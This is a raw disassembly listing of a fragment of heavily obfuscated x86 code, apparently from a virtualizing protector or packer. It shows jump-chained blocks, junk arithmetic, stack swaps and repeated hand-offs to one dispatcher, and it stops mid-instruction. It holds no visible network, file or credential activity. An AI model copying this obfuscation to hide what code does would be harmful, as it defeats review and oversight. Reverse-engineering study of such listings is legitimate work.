xor [esp+5Ah+var_5C+2], ebx xor ebx, [esp+5Ah+var_5C+2] mov esp, [esp+5Ah+var_5C+2] jmp loc_58617D ; --------------------------------------------------------------------------- loc_589F9F: ; CODE XREF: sub_57DD3A+6D3Bj push esi mov esi, 11C215ADh jmp loc_582D7F ; --------------------------------------------------------------------------- loc_589FAA: ; CODE XREF: sub_57DD3A+5824j mov bl, 8Dh jmp loc_5874E1 ; --------------------------------------------------------------------------- loc_589FB1: ; CODE XREF: sub_57DD3A+7B7Cj add esp, 4 xor eax, ecx push [esp+0D4h+var_D4] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58CFB9 ; --------------------------------------------------------------------------- loc_589FCB: ; CODE XREF: sub_57DD3A+DEC3j push ebp jmp loc_58BE3F ; --------------------------------------------------------------------------- loc_589FD1: ; CODE XREF: sub_57DD3A+E3C7j mov ecx, 48CA27D4h inc ecx and ecx, 39D02C5Fh jmp loc_5827EE ; --------------------------------------------------------------------------- loc_589FE2: ; CODE XREF: sub_57DD3A+AFE5j sub ebx, eax sub esp, 4 mov [esp+8Ch+var_8C], ecx jmp loc_589D1B ; --------------------------------------------------------------------------- loc_589FEF: ; CODE XREF: sub_57DD3A+7E14j mov cl, dl jmp loc_584B25 ; --------------------------------------------------------------------------- push [esp+54h+var_50] push [esp+58h+var_58] pop eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+5Ch+var_5C] jmp loc_583C4D ; --------------------------------------------------------------------------- loc_58A015: ; CODE XREF: sub_57DD3A+AEAFj mov [esp+96h+var_98+2], eax mov eax, 4 mov esi, eax pop eax add ebp, esi mov esi, [esp+92h+var_94+2] push edx mov edx, esp add edx, 4 jmp loc_58BED0 ; --------------------------------------------------------------------------- loc_58A033: ; CODE XREF: sub_57DD3A+F3C2j add esp, 4 push esi push esp pop esi add esi, 4 push edi mov edi, 4 add esi, edi pop edi jmp loc_58B5AD ; --------------------------------------------------------------------------- loc_58A050: ; CODE XREF: sub_57DD3A+7F37j add cl, 92h add al, 23h sub al, 48h sub al, cl add al, 48h jmp loc_586BDB ; --------------------------------------------------------------------------- loc_58A060: ; CODE XREF: sub_57DD3A+EFC6j mov esi, 49714625h add [esp+6Eh+var_6C+2], esi jmp loc_585308 ; --------------------------------------------------------------------------- loc_58A06E: ; CODE XREF: sub_57DD3A+D102j mov eax, esi pop esi push [esp+6Ah+var_6C+2] jmp loc_586E4C ; --------------------------------------------------------------------------- loc_58A079: ; CODE XREF: sub_57DD3A+641Dj add eax, ebx push [esp+88h+var_88] pop ebx add esp, 4 xchg eax, [esp+84h+var_84] mov esp, [esp+84h+var_84] ror word ptr [esp+84h+var_84], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58A095: ; CODE XREF: sub_57DD3A+E1C2j push [esp+88h+var_84] mov ecx, [esp+8Ch+var_8C] add esp, 4 pop [esp+88h+var_88] jmp loc_582A01 ; --------------------------------------------------------------------------- loc_58A0A7: ; CODE XREF: sub_57DD3A+84DCj xor eax, edx push [esp+8Ch+var_8C] jmp loc_585A84 ; --------------------------------------------------------------------------- loc_58A0B1: ; CODE XREF: sub_57DD3A+F886j mov ecx, 4 add edx, 667725F2h add edx, 4A3A0D4Dh jmp loc_58740C ; --------------------------------------------------------------------------- loc_58A0C7: ; CODE XREF: sub_57DD3A+FBF4j mov ecx, 40E9562Bh add ecx, 2330DD11h sub ebx, ecx pop ecx add ebx, ebp add ebx, 641A333Ch mov ebp, [esp+8Ch+var_8C] push ebp mov ebp, esp add ebp, 4 jmp loc_5894E8 ; --------------------------------------------------------------------------- loc_58A0EE: ; CODE XREF: sub_57DD3A+E83Ej add ebx, 4 xchg ebx, [esp+90h+var_90] pop esp jmp loc_586D2C ; --------------------------------------------------------------------------- loc_58A0FD: ; CODE XREF: sub_57DD3A+7A8Ej sub ecx, 36F18F57h mov eax, ecx pop ecx add eax, 0A91E9F6Fh add ebx, eax mov eax, [esp+76h+var_78+2] add esp, 4 push ebp mov ebp, 70EF4B92h sub ebp, 7BC63940h xor ebp, 0F5291250h add ebx, ebp pop ebp xor ebx, [esp+72h+var_74+2] xor [esp+72h+var_74+2], ebx xor ebx, [esp+72h+var_74+2] pop esp sar byte ptr [esp+6Eh+var_70+2], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58A13E: ; CODE XREF: sub_57DD3A+EC2Fj mov eax, [esp+72h+var_74+2] jmp loc_585971 ; --------------------------------------------------------------------------- loc_58A146: ; CODE XREF: sub_57DD3A+FB0Dj push ecx mov ecx, 3A19287Ch sub ebx, ecx pop ecx jmp loc_58D0E4 ; --------------------------------------------------------------------------- loc_58A154: ; CODE XREF: sub_57DD3A+509Ej push edx mov edx, 4 add ebp, edx jmp loc_586E25 ; --------------------------------------------------------------------------- loc_58A161: ; CODE XREF: sub_57DD3A+7549j sub edx, 4C5A1BB4h jmp loc_588D8B ; --------------------------------------------------------------------------- loc_58A16C: ; CODE XREF: sub_57DD3A+9C1Dj mov esi, [esp+0A0h+var_A0] add esp, 4 add esp, 4 jmp loc_582CD4 ; --------------------------------------------------------------------------- loc_58A17D: ; CODE XREF: sub_57DD3A+85FBj or eax, eax jz loc_58485E push dword ptr [edi+1Ch] jmp loc_58BF1C ; --------------------------------------------------------------------------- sub esp, 4 mov [esp+7Ah+var_7C+2], edx push 7D06703Eh push [esp+7Eh+var_80+2] pop edx add esp, 4 push edi jmp loc_5820F0 ; --------------------------------------------------------------------------- loc_58A1A5: ; CODE XREF: sub_57DD3A+8BE4j push ebx jmp loc_58DBDA ; --------------------------------------------------------------------------- loc_58A1AB: ; CODE XREF: sub_57DD3A+4AF6j xchg ebp, edx dec ebp xor edx, ebp jmp loc_58DF35 ; --------------------------------------------------------------------------- loc_58A1B5: ; CODE XREF: sub_57DD3A+ADB6j or eax, eax jz loc_58DC7D push 1AA6h mov [esp+90h+var_90], ecx sub esp, 4 mov [esp+94h+var_94], edi mov edi, 0FEh push edi jmp loc_58A92F ; --------------------------------------------------------------------------- loc_58A1D6: ; CODE XREF: sub_57DD3A+DF4Aj push 64B8h mov [esp+9Ch+var_9C], esi mov esi, 962DA31Ah sub edx, 71071F0Bh sub edx, esi add edx, 71071F0Bh mov esi, [esp+9Ch+var_9C] add esp, 4 add ebx, edx push [esp+98h+var_98] jmp loc_58D94A ; --------------------------------------------------------------------------- loc_58A204: ; CODE XREF: sub_57DD3A+B229j push 7B16h mov [esp+0BCh+var_BC], edi mov edi, 4 push edi mov edi, 352F7DA2h dec edi jmp loc_582A42 ; --------------------------------------------------------------------------- loc_58A21D: ; CODE XREF: sub_57DD3A+6114j pop edi push 1A73h mov [esp+9Ch+var_9C], ecx mov ecx, 17C10A7h add ecx, 0FE83EF5Bh push 1EA0h mov [esp+0A0h+var_A0], esi mov esi, 5268257Ch sub ebp, esi pop esi add ebp, ecx add ebp, 5268257Ch pop ecx xor ebp, [esp+98h+var_98] jmp loc_583B43 ; --------------------------------------------------------------------------- loc_58A252: ; CODE XREF: sub_57DD3A+8B0Fj push esp jmp loc_58DBB4 ; --------------------------------------------------------------------------- loc_58A258: ; CODE XREF: sub_57DD3A+719Cj add ecx, eax pop eax push 81Eh mov [esp+6Eh+var_70+2], edx mov edx, 4 sub ecx, edx mov edx, [esp+6Eh+var_70+2] push ebx push esp mov ebx, [esp+76h+var_78+2] add esp, 4 add ebx, 4 jmp loc_584F43 ; --------------------------------------------------------------------------- push [esp+72h+var_74+2] push [esp+76h+var_78+2] pop ecx jmp loc_58D873 ; --------------------------------------------------------------------------- loc_58A28C: ; CODE XREF: sub_57DD3A+DA9Dj mov [esp+76h+var_78+2], edx mov edx, esp add edx, 4 push edi mov edi, esp add edi, 4 jmp loc_586C63 ; --------------------------------------------------------------------------- loc_58A2A5: ; CODE XREF: sub_57DD3A+1008Ej add esp, 4 and eax, ebp pop ebp jmp loc_58CA81 ; --------------------------------------------------------------------------- loc_58A2B0: ; CODE XREF: sub_57DD3A+7C92j add ebp, 4 add ebp, 4 xchg ebp, [esp+0BCh+var_BC] pop esp push ebx push 29643FB9h mov ebx, [esp+0C0h+var_C0] add esp, 4 push 464Dh mov [esp+0C0h+var_C0], ebx not [esp+0C0h+var_C0] push [esp+0C0h+var_C0] mov ebx, [esp+0C4h+var_C4] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp+0C4h+var_C4] xor [esp+0C4h+var_C4], eax xor eax, [esp+0C4h+var_C4] jmp loc_5833C3 ; --------------------------------------------------------------------------- loc_58A2FB: ; CODE XREF: sub_57DD3A+B1D1j add ebp, 78EC4674h add ebp, eax sub ebp, 78EC4674h pop eax sub ebp, 111E6944h sub ebp, 499158F3h add ebp, 29360666h add ebp, 3E107CB0h xor edx, ebp pop ebp or ecx, ecx jz loc_58B639 push esp push [esp+98h+var_98] jmp loc_588E52 ; --------------------------------------------------------------------------- loc_58A336: ; CODE XREF: sub_57DD3A+8FB6j add ebx, 0F5F81443h mov eax, ebx pop ebx jmp loc_58CC51 ; --------------------------------------------------------------------------- loc_58A344: ; CODE XREF: sub_57DD3A+8CADj xchg edi, [esp+88h+var_88] mov esp, [esp+88h+var_88] push edi mov edi, esp jmp loc_586B61 ; --------------------------------------------------------------------------- loc_58A352: ; CODE XREF: sub_57DD3A+CC5Ej add eax, ecx jmp loc_5825E2 ; --------------------------------------------------------------------------- loc_58A359: ; CODE XREF: sub_57DD3A+598Dj pop edi jmp loc_58BC1E ; --------------------------------------------------------------------------- loc_58A35F: ; CODE XREF: sub_57DD3A+B9DFj and esi, 47E1522Bh neg esi jmp loc_584994 ; --------------------------------------------------------------------------- loc_58A36C: ; CODE XREF: sub_57DD3A+5953j mov ebp, 5C1953D4h add ebp, 23F56E3Fh jmp loc_5893F0 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+0AAh+var_AC+2] push 6EA2h mov [esp+0AEh+var_B0+2], eax push esp pop eax push edx jmp loc_587A9E ; --------------------------------------------------------------------------- loc_58A390: ; CODE XREF: sub_57DD3A+B61Ej add esp, 4 add ebp, 4 push ecx mov ecx, 23DB11B7h shr ecx, 3 add ecx, 0FFFFFFFFh and ecx, 6D1D397Ch xor ecx, 75275AE2h neg ecx jmp loc_5873BB ; --------------------------------------------------------------------------- loc_58A3B8: ; CODE XREF: sub_57DD3A+DC9Fj add eax, 534F0780h xor eax, 17205982h sub eax, 98BC44A0h mov esi, eax pop eax add ebx, esi pop esi push edi mov edi, 2 jmp loc_58DBAD ; --------------------------------------------------------------------------- loc_58A3D8: ; CODE XREF: sub_57DD3A+5BA3j add esp, 4 push ebp mov ebp, 4 jmp loc_587CD2 ; --------------------------------------------------------------------------- loc_58A3E6: ; CODE XREF: sub_57DD3A+B38Ej pop dword ptr [edi+24h] loc_58A3E9: ; CODE XREF: sub_57DD3A+3CDFj push eax jmp loc_582A90 ; --------------------------------------------------------------------------- loc_58A3EF: ; CODE XREF: sub_57DD3A+5525j add ebp, ecx mov ecx, [esp+5Ah+var_5C+2] jmp loc_58755E ; --------------------------------------------------------------------------- loc_58A3F9: ; CODE XREF: sub_57DD3A+DE86j pop edx add esp, 4 add esp, 4 add esp, 4 jmp loc_58BF68 ; --------------------------------------------------------------------------- loc_58A408: ; CODE XREF: sub_57DD3A+70ECj add esp, 4 xchg eax, [esp+0D4h+var_D4] pop esp push [esp+0D0h+var_D0] jmp loc_581C13 ; --------------------------------------------------------------------------- loc_58A417: ; CODE XREF: sub_57DD3A+D2C2j mov ecx, esp push ebp push ecx jmp loc_5838F3 ; --------------------------------------------------------------------------- loc_58A420: ; CODE XREF: sub_57DD3A+F6C5j pop ecx add al, 0A8h push edx push ecx mov ch, 6Bh jmp loc_583C6B ; --------------------------------------------------------------------------- loc_58A42C: ; CODE XREF: sub_57DD3A+3F01j mov ebp, [esp+84h+var_84] jmp loc_5859D1 ; --------------------------------------------------------------------------- lodsd push ebp jmp loc_586DD4 ; --------------------------------------------------------------------------- loc_58A43B: ; CODE XREF: sub_57DD3A+58B4j add ebx, 4 sub ebx, 4 xchg ebx, [esp+0CCh+var_CC] mov esp, [esp+0CCh+var_CC] jmp loc_58C7D5 ; --------------------------------------------------------------------------- loc_58A452: ; CODE XREF: sub_57DD3A+679Aj push [esp+7Ah+var_7C+2] mov eax, [esp+7Eh+var_80+2] jmp loc_58C3E7 ; --------------------------------------------------------------------------- loc_58A45D: ; CODE XREF: sub_57DD3A+74A5j sub cl, 89h add bl, cl pop ecx add bl, 0Ah add bl, al push cx jmp loc_58C207 ; --------------------------------------------------------------------------- loc_58A46F: ; CODE XREF: sub_57DD3A+B2ECj mov ch, 31h sub ch, 23h shl ch, 8 jmp loc_58A6E0 ; --------------------------------------------------------------------------- loc_58A47C: ; CODE XREF: sub_57DD3A+D2D6j mov ebx, ebp pop ebp pop esi sub eax, ebx mov ebx, [esp+98h+var_98] add esp, 4 push 264Ah jmp loc_5857CD ; --------------------------------------------------------------------------- loc_58A492: ; CODE XREF: sub_57DD3A+EE4Bj pop ebp push esi jmp loc_586126 ; --------------------------------------------------------------------------- loc_58A499: ; CODE XREF: sub_57DD3A+BCD0j sub edx, ebx pop ebx pop eax xor edx, [esp+80h+var_80] jmp loc_584294 ; --------------------------------------------------------------------------- loc_58A4A5: ; CODE XREF: sub_57DD3A+E99Ej push 8BB2492h push [esp+84h+var_84] pop edx jmp loc_58D933 ; --------------------------------------------------------------------------- loc_58A4B3: ; CODE XREF: sub_57DD3A+EAC0j push ebp mov ebp, 121A3A80h sub ebp, 0AF65EAC5h mov ecx, ebp pop ebp jmp loc_588954 ; --------------------------------------------------------------------------- loc_58A4C7: ; CODE XREF: sub_57DD3A+7185j mov word ptr [esp+6Eh+var_70+2], cx push edx push ecx mov ch, 0BBh push ebx jmp loc_5850C3 ; --------------------------------------------------------------------------- loc_58A4D5: ; CODE XREF: sub_57DD3A+5626j mov edi, [esp+0C8h+var_C8] add esp, 4 push 2F3Bh jmp loc_58C4CE ; --------------------------------------------------------------------------- loc_58A4E5: ; CODE XREF: sub_57DD3A+8CA2j mov dl, 78h not dl or dl, 0B5h push bx mov bl, 45h sub dl, bl pop bx jmp loc_5883DA ; --------------------------------------------------------------------------- loc_58A4F9: ; CODE XREF: sub_57DD3A+9D56j and eax, esi push [esp+96h+var_98+2] jmp loc_5870FE ; --------------------------------------------------------------------------- loc_58A503: ; CODE XREF: sub_57DD3A+9883j pop edx add [esp+82h+var_80+2], 3F75722Eh add [esp+82h+var_80+2], 2F7F510Fh sub [esp+82h+var_80+2], edx sub [esp+82h+var_80+2], 2F7F510Fh sub [esp+82h+var_80+2], 3F75722Eh sub [esp+82h+var_80+2], 62513B5Bh pop edx push [esp+7Eh+var_80+2] jmp loc_58552D ; --------------------------------------------------------------------------- loc_58A539: ; CODE XREF: sub_57DD3A+FFF5j sub eax, esi mov esi, [esp+82h+var_84+2] add esp, 4 sub eax, 57517151h push ebx push esi push edx push esi jmp loc_58D404 ; --------------------------------------------------------------------------- loc_58A54F: ; CODE XREF: sub_57DD3A+615Cj push eax mov eax, 0D426D55Bh sub edx, eax jmp loc_586779 ; --------------------------------------------------------------------------- loc_58A55C: ; CODE XREF: sub_57DD3A+EAE6j xchg ebx, [esp+0ACh+var_AC] pop esp add esi, ebp pop ebp add esi, 2 jmp loc_584BD7 ; --------------------------------------------------------------------------- loc_58A56B: ; CODE XREF: sub_57DD3A+D065j inc edi jmp loc_58CC72 ; --------------------------------------------------------------------------- loc_58A571: ; CODE XREF: sub_57DD3A+633Dj push ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58A579: ; CODE XREF: sub_57DD3A+77EEj add esp, 4 pop [esp+76h+var_78+2] pop esp jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58A585: ; CODE XREF: sub_57DD3A+515Cj mov edi, ebp pop ebp add esi, edi pop edi push 4555h mov [esp+0A2h+var_A4+2], edx mov edx, 7644D09h shr edx, 8 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+0A6h+var_A8+2] pop esp jmp loc_58C408 ; --------------------------------------------------------------------------- loc_58A5B3: ; CODE XREF: sub_57DD3A+EC1Cj and ecx, ebx jmp loc_584365 ; --------------------------------------------------------------------------- loc_58A5BA: ; CODE XREF: sub_57DD3A+6BA9j push 40E4h mov [esp+94h+var_94], esi mov esi, esp add esi, 4 push ebx mov ebx, 18CA3E72h jmp loc_5890D2 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+98h+var_98] jmp loc_588FA8 ; --------------------------------------------------------------------------- loc_58A5DE: ; CODE XREF: sub_57DD3A+CD3Cj add esp, 4 add edx, 4 xor edx, [esp+94h+var_94] xor [esp+94h+var_94], edx xor edx, [esp+94h+var_94] pop esp mov edx, [esp+90h+var_90] push eax jmp loc_588AF5 ; --------------------------------------------------------------------------- loc_58A5FA: ; CODE XREF: sub_57DD3A+3BF4j add esp, 4 push 1069h mov [esp+52h+var_54+2], edi sub esp, 4 mov [esp+56h+var_58+2], ebx mov ebx, 4 mov edi, ebx pop ebx jmp loc_583015 ; --------------------------------------------------------------------------- loc_58A61E: ; CODE XREF: sub_57DD3A+EF71j add dl, 68h jmp loc_587234 ; --------------------------------------------------------------------------- loc_58A626: ; CODE XREF: sub_57DD3A+41A7j xor esi, [esp+6Eh+var_70+2] xor [esp+6Eh+var_70+2], esi xor esi, [esp+6Eh+var_70+2] pop esp add byte ptr [esp+6Ah+var_6C+2], al pushf jmp loc_584C23 ; --------------------------------------------------------------------------- loc_58A639: ; CODE XREF: sub_57DD3A+3FE0j mov [esp+9Ch+var_9C], esi push 194Dh mov [esp+0A0h+var_A0], esp add [esp+0A0h+var_A0], 4 mov esi, [esp+0A0h+var_A0] add esp, 4 push ecx mov ecx, 71D12DF8h and ecx, 79435134h push ebp mov ebp, 7141012Ch sub ecx, 43CA3F5Fh sub ecx, ebp add ecx, 43CA3F5Fh pop ebp jmp loc_58BE2A ; --------------------------------------------------------------------------- loc_58A67A: ; CODE XREF: sub_57DD3A+5C63j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58A67F: ; CODE XREF: sub_57DD3A+CE70j add ebx, esi sub ebx, 61DD5D7Dh mov esi, [esp+66h+var_68+2] add esp, 4 pop ebp add ebx, 15827312h add ebx, eax sub ebx, 15827312h sub ebx, 564D7F42h push 1BC0h mov [esp+62h+var_64+2], ebx jmp loc_588FE3 ; --------------------------------------------------------------------------- loc_58A6AF: ; CODE XREF: sub_57DD3A+9801j push 5BFCh mov [esp+82h+var_84+2], esi not [esp+82h+var_84+2] mov esi, [esp+82h+var_84+2] add esp, 4 push eax mov eax, 0D262339Ch jmp loc_589334 ; --------------------------------------------------------------------------- loc_58A6CE: ; CODE XREF: sub_57DD3A+A403j add edx, esi pop esi push ebx mov ebx, 153975F5h shl ebx, 8 dec ebx jmp loc_58633A ; --------------------------------------------------------------------------- loc_58A6E0: ; CODE XREF: sub_57DD3A+C73Dj dec ch jmp loc_58C1EE ; --------------------------------------------------------------------------- loc_58A6E7: ; CODE XREF: sub_57DD3A+922Fj xor ebp, 5F1F7258h add ebp, 18F6152Bh sub ebp, 3EB85819h xor ebp, 0F5F6EC5Dh add eax, ebp pop ebp mov ebp, eax mov eax, [esp+62h+var_64+2] add esp, 4 push ecx push ebp mov ebp, 63E46061h dec ebp add ebp, 0BE0AB1AAh mov ecx, ebp jmp loc_588A2C ; --------------------------------------------------------------------------- loc_58A722: ; CODE XREF: sub_57DD3A+4200j push edi mov edi, 68C23A65h neg edi or edi, 63993801h xor edi, 73501344h xor edi, 84EDEEDDh sub ebp, 0F6619AAh add ebp, edi add ebp, 0F6619AAh pop edi push ebp push [esp+7Ah+var_78+2] mov ebp, [esp+7Eh+var_80+2] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_58C0B2 ; --------------------------------------------------------------------------- loc_58A764: ; CODE XREF: sub_57DD3A+95AEj mov [esp+68h+var_68], ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 add ebp, 2C0B1D84h sub ebp, ebx sub ebp, 2C0B1D84h jmp loc_585474 ; --------------------------------------------------------------------------- loc_58A788: ; CODE XREF: sub_57DD3A+A1F7j pop ecx jmp loc_585786 ; --------------------------------------------------------------------------- loc_58A78E: ; CODE XREF: sub_57DD3A+E310j sub esp, 4 jmp loc_582CAB ; --------------------------------------------------------------------------- loc_58A799: ; CODE XREF: sub_57DD3A+7BEDj pop esp jmp loc_585384 ; --------------------------------------------------------------------------- loc_58A79F: ; CODE XREF: sub_57DD3A+507Aj pop esp jmp loc_587D3A ; --------------------------------------------------------------------------- loc_58A7A5: ; CODE XREF: sub_57DD3A+A36Cj btc word ptr [esp+84h+var_84], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58A7B0: ; CODE XREF: sub_57DD3A+4770j mov bl, 0Ah or bl, 16h shl bl, 2 jmp loc_58400A ; --------------------------------------------------------------------------- loc_58A7BD: ; CODE XREF: sub_57DD3A+4AFFj dec ah mov ch, ah pop ax jmp loc_58B780 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp+7Ah+var_7C+2], eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58A7D6: ; CODE XREF: sub_57DD3A+B2A4j mov esp, [esp+5Eh+var_60+2] test ecx, eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58A7E1: ; CODE XREF: sub_57DD3A+88FAj mov [esp+6Eh+var_70+2], ebp mov ebp, esp jmp loc_584F76 ; --------------------------------------------------------------------------- loc_58A7EB: ; CODE XREF: sub_57DD3A+7E01j add ecx, edi pop edi xchg ecx, [esp+54h+var_54] mov esp, [esp+54h+var_54] bswap eax push ecx push esp mov ecx, [esp+5Ch+var_5C] add esp, 4 jmp loc_58D57C ; --------------------------------------------------------------------------- loc_58A806: ; CODE XREF: sub_57DD3A+E0EBj push ebp jmp loc_58D135 ; --------------------------------------------------------------------------- loc_58A80C: ; CODE XREF: sub_57DD3A+4927j or ecx, eax mov eax, [esp+94h+var_94] add esp, 4 xchg ebx, ecx inc ebx xor ecx, ebx xor ebx, ecx xor ecx, ebx add ecx, 935F877Bh push ebx jmp loc_58A990 ; --------------------------------------------------------------------------- loc_58A82C: ; CODE XREF: sub_57DD3A+D74Ej add esp, 4 jmp loc_588E8A ; --------------------------------------------------------------------------- loc_58A834: ; CODE XREF: sub_57DD3A+9535j xor ecx, 165D600Bh add esi, ecx pop ecx sub esi, edi sub esi, 720329BAh xchg esi, edi pop esi xor edi, 5F5F35C0h and eax, edi mov edi, [esp+6Ch+var_6C] jmp loc_5895E2 ; --------------------------------------------------------------------------- loc_58A858: ; CODE XREF: sub_57DD3A+E200j pop esi sub ecx, 1E7C40E6h sub ecx, 739513AAh xor ecx, 88F19C75h mov edi, ecx jmp loc_5866DB ; --------------------------------------------------------------------------- loc_58A872: ; CODE XREF: sub_57DD3A+5055j sub esi, 0DDB8DF49h xor edx, esi push [esp+92h+var_94+2] jmp loc_583CD6 ; --------------------------------------------------------------------------- loc_58A882: ; CODE XREF: sub_57DD3A+85DCj xor dl, al pop ax add al, 0DFh add al, dl sub al, 0DFh mov edx, [esp+70h+var_70] jmp loc_584148 ; --------------------------------------------------------------------------- loc_58A894: ; CODE XREF: sub_57DD3A+DA41j push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp+74h+var_74] xor [esp+74h+var_74], edx xor edx, [esp+74h+var_74] mov esp, [esp+74h+var_74] push edx mov edx, 0BF0263Ah push ebp mov ebp, 16FC4094h jmp loc_5818D7 ; --------------------------------------------------------------------------- loc_58A8C0: ; CODE XREF: sub_57DD3A+CE5Cj xor edx, [esp+7Ch+var_7C] xor [esp+7Ch+var_7C], edx xor edx, [esp+7Ch+var_7C] pop esp jmp loc_5869EC ; --------------------------------------------------------------------------- loc_58A8CF: ; CODE XREF: sub_57DD3A+B3AAj pop esp xor esi, [esp+40h+var_42+2] xor [esp+40h+var_42+2], esi xor esi, [esp+40h+var_42+2] mov esp, [esp+40h+var_42+2] mov ax, word ptr [esp+40h+var_42+2] push ebp mov ebp, esp push esi push edi jmp loc_584D0C ; --------------------------------------------------------------------------- loc_58A8EA: ; CODE XREF: sub_57DD3A+D9DFj add ecx, eax pop eax add ecx, 4 xchg ecx, [esp+0] jmp loc_589568 ; --------------------------------------------------------------------------- loc_58A8FB: ; CODE XREF: sub_57DD3A+8FEDj mov esp, [esp+92h+var_94+2] inc word ptr [esp+92h+var_94+2] pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58A908: ; CODE XREF: sub_57DD3A+8269j add ebx, eax push edi mov edi, 3C462A56h add edi, 0FFFFFFFFh jmp loc_58C77B ; --------------------------------------------------------------------------- mov ax, word ptr [esp+5Eh+var_60+2] push ecx jmp loc_583CAB ; --------------------------------------------------------------------------- loc_58A925: ; CODE XREF: sub_57DD3A+9155j push 3D25h jmp loc_588DC2 ; --------------------------------------------------------------------------- loc_58A92F: ; CODE XREF: sub_57DD3A+C497j push ebx push ecx mov ecx, 1B03646Ah push ecx pop ebx pop ecx xor [esp+9Ch+var_98], ebx pop ebx mov ecx, [esp+98h+var_98] add esp, 4 xor ecx, 1B03646Ah push [esp+94h+var_94] jmp loc_58B326 ; --------------------------------------------------------------------------- loc_58A952: ; CODE XREF: sub_57DD3A+E6A8j push 2B89h mov [esp+9Ch+var_9C], ebp push esp mov ebp, [esp+0A0h+var_A0] push ecx jmp loc_587C0A ; --------------------------------------------------------------------------- loc_58A964: ; CODE XREF: sub_57DD3A+47C9j add ebp, 0D2F636F6h and edi, ebp pop ebp not edi push edx jmp loc_5848CF ; --------------------------------------------------------------------------- loc_58A975: ; CODE XREF: sub_57DD3A+98F8j sub eax, ebp pop ebp sub eax, edx jmp loc_586CC1 ; --------------------------------------------------------------------------- loc_58A97F: ; CODE XREF: sub_57DD3A+DD1Aj xor [esp+0AAh+var_AC+2], ebp xor ebp, [esp+0AAh+var_AC+2] mov esp, [esp+0AAh+var_AC+2] mov [esp+0AAh+var_AC+2], ebp jmp loc_58C54A ; --------------------------------------------------------------------------- loc_58A990: ; CODE XREF: sub_57DD3A+CAEDj mov ebx, 7E2E79D5h add eax, ebx pop ebx jmp loc_58A352 ; --------------------------------------------------------------------------- loc_58A99D: ; CODE XREF: sub_57DD3A+F744j pop ebx add ecx, esi jmp loc_585617 ; --------------------------------------------------------------------------- loc_58A9A5: ; CODE XREF: sub_57DD3A+C0FDj pop eax push ebx jmp loc_583AA5 ; --------------------------------------------------------------------------- loc_58A9AC: ; CODE XREF: sub_57DD3A+4EEFj add edi, 4 add edi, 4 push edi jmp loc_58C75C ; --------------------------------------------------------------------------- loc_58A9BE: ; CODE XREF: sub_57DD3A+6BD1j sub ecx, 743A7130h pop edx jmp loc_58C696 ; --------------------------------------------------------------------------- loc_58A9CA: ; CODE XREF: sub_57DD3A+D30Dj mov esp, [esp+5Ah+var_5C+2] mov dx, word ptr [esp+5Ah+var_5C+2] push 63F7h mov [esp+5Eh+var_60+2], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+5Eh+var_60+2] pop esp mov [esp+5Ah+var_5C+2], ecx push 6E19h push esp pop [esp+62h+var_64+2] jmp loc_58B495 ; --------------------------------------------------------------------------- loc_58A9FC: ; CODE XREF: sub_57DD3A+99FEj sub eax, 33CA27E8h push edx jmp loc_582C4C ; --------------------------------------------------------------------------- loc_58AA07: ; CODE XREF: sub_57DD3A+F4F8j push ebx jmp loc_586407 ; --------------------------------------------------------------------------- loc_58AA0D: ; CODE XREF: sub_57DD3A+FEA8j push edx jmp loc_58D32F ; --------------------------------------------------------------------------- loc_58AA13: ; CODE XREF: sub_57DD3A+A5FDj push 229Eh jmp loc_587B13 ; --------------------------------------------------------------------------- loc_58AA1D: ; CODE XREF: sub_57DD3A+AF90j push ebx push 64F9361Fh pop ebx shl ebx, 7 neg ebx jmp loc_58540A ; --------------------------------------------------------------------------- loc_58AA2E: ; CODE XREF: sub_57DD3A+102EDj push [esp+7Ch+var_7C] mov edx, [esp+80h+var_80] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+80h+var_80] pop esp jmp loc_58BB9F ; --------------------------------------------------------------------------- loc_58AA52: ; CODE XREF: sub_57DD3A+C04Dj sub ebp, 55F44A50h pop ebx neg ebp push 6614h mov [esp+72h+var_74+2], esi push edx mov edx, 1CF248CCh mov esi, 0DC464F35h jmp loc_58D342 ; --------------------------------------------------------------------------- loc_58AA73: ; CODE XREF: sub_57DD3A+552Dj mov ecx, [esp+56h+var_58+2] jmp loc_58A5DE ; --------------------------------------------------------------------------- loc_58AA7B: ; CODE XREF: sub_57DD3A+605Ej push 1917h mov [esp+6Ah+var_6C+2], edi push [esp+6Ah+var_6C+2] mov eax, [esp+6Eh+var_70+2] add esp, 4 add esp, 4 push [esp+66h+var_68+2] mov edi, [esp+6Ah+var_6C+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_589C8A ; --------------------------------------------------------------------------- loc_58AAAC: ; CODE XREF: sub_57DD3A+7DCEj mov edx, [esp+5Ch+var_5C] push esi mov esi, esp add esi, 4 jmp loc_586662 ; --------------------------------------------------------------------------- loc_58AABD: ; CODE XREF: sub_57DD3A+8BA1j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58AAC2: ; CODE XREF: sub_57DD3A+BE93j inc ebp sub ebp, 4356194Fh sub eax, 3C9808F2h add eax, ebp add eax, 3C9808F2h pop ebp push 72D1h mov [esp+8Ch+var_8C], edi mov edi, 2 add eax, edi pop edi xor eax, [esp+88h+var_88] jmp loc_58B041 ; --------------------------------------------------------------------------- loc_58AAEE: ; CODE XREF: sub_57DD3A+1017Dj sub 